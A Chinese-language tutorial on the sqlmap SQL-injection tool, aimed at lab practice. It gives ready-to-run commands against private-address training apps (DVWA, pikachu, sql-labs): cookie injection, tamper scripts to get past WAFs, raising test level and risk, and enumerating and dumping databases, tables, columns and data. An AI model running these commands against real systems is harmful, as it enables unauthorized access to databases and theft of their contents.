sqlmap是一款可以自动化检测漏洞的工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。
SQLmap的简单使用:
sqlmap.py -h 可以查看sqlmap的参数和使用
1.指定url -u
sqlmap.py -u "http://192.168.222.222:8011/news_view.asp?id=10"
这个是最基本的检查存在注入语句,上面这种是采用get方式进行传输的。
使用上面语句可以会出现:
#(you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDQAAQAACT=NHOLFAPAHKN...ONMOAAEFCK'). Do you want to use those [Y/n])
#执行这个语句首先会提示你未指定cookie,工具将会自己构造一个cookie,询问是否使用?这里基本用法可以用y,但是在有些登陆后才展现的页面就需要指定cookie这句语句
# [15:11:31] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
# are you sure that you want to continue with further target testing? [Y/n]
# 这个的意思是检测到目标站点有安全防护设备/脚本,是否继续检测 y继续
# GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
# 检测到id处可能存在输入点,是否查找其他注入点。
第一种情况我们可以指定一个cookie。//--cookie
sqlmap.py -u "http://192.168.222.222:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD"
关于cookie的获取我们可以f12打开网络,就可以获取到cookie。
我们还可以进行cookie注入.
sqlmap.py -u "http://192.168.222.222:9500/pikachu/vul/sqli/sqli_header/sqli_header_login.php" --cookie "ant[uname]=admin" --level 2 --dbs
第二种情况我们可以用sqlmap自带的tamper但是只有绕过一些常见的waf,sqlmap的绕过脚本在目录usr/share/golismero/tools/sqlmap/tamper
下。
关于tamper的使用,sqlmap -u [url] --tamper [模块名]
脚本的详解:
关于sqlmap的源码学习可以参考:sqlmap 的源码学习笔记一之目录结构_战狼767的博客-CSDN博客 l
2.提升检测的级别
–-level 执行测试等级(1-5,默认为1)
sqlmap使用的payload可以在xml/payloads.xml中看到。默认为1,2:检测cookie中的参数,3:检查user-agent和referer的参数(常用);4:;5:会自动破解出cookie、XFF等头部注入;等级越高包含的payload越多,但相应的检测速度就越慢。
–risk 执行测试的风险级别(1-3,默认为1)
1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试
(风险等级越高,可能会对数据库的破坏越大,所以最好不要调高这个风险级别)
3.显示注入payload -v
-v 显示信息的级别(0-6),其中,0只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);2同时显示debug信息;3同时显示注入的payload;4同时显示HTTP请求;5同时显示HTTP响应头;6同时显示HTTP响应
4.指定参数注入 -p
sqlmap.py -u "http://192.168.222.222:8011/news_view.asp?id=10" -p id
上面是对sqlmap一部分功能的介绍。下面来介绍怎么获取数据库信息的操作。
1.列库 dbs
在检测出了存在注入后,开始爆库,命令是 --dbs
sqlmap.py -u "http://192.168.222.222:8011/news_view.asp?id=10" --dbs
2.列表 tables
爆完库后,开始爆表,命令: -D '库名' --tables
sqlmap.py -u "http://192.168.222.222:8011/news_view.asp?id=10" -D '库名' --tables
3. 列出表中字段 columns
爆了库和表,开始爆表中字段,命令是 -D '库名' -T '表名' --columns
sqlmap.py -u "http://192.168.222.222:8011/news_view.asp?id=10" -D '库名' -T '表名' --columns
4.列出表中数据
爆了库和表,开始爆表中字段,命令是 -D '库名' -T '表名' -C "字段"--dump
sqlmap.py -u "http://192.168.222.222:8011/news_view.asp?id=10" -D '库名' -T '表名' -C "字段"--dump
如果大家想练习自己工具注入的使用的可以使用sql-labs-less。关于靶场的搭建大家可以参考网上的相关资料。
今天对sqlmap的使用介绍就到这里了。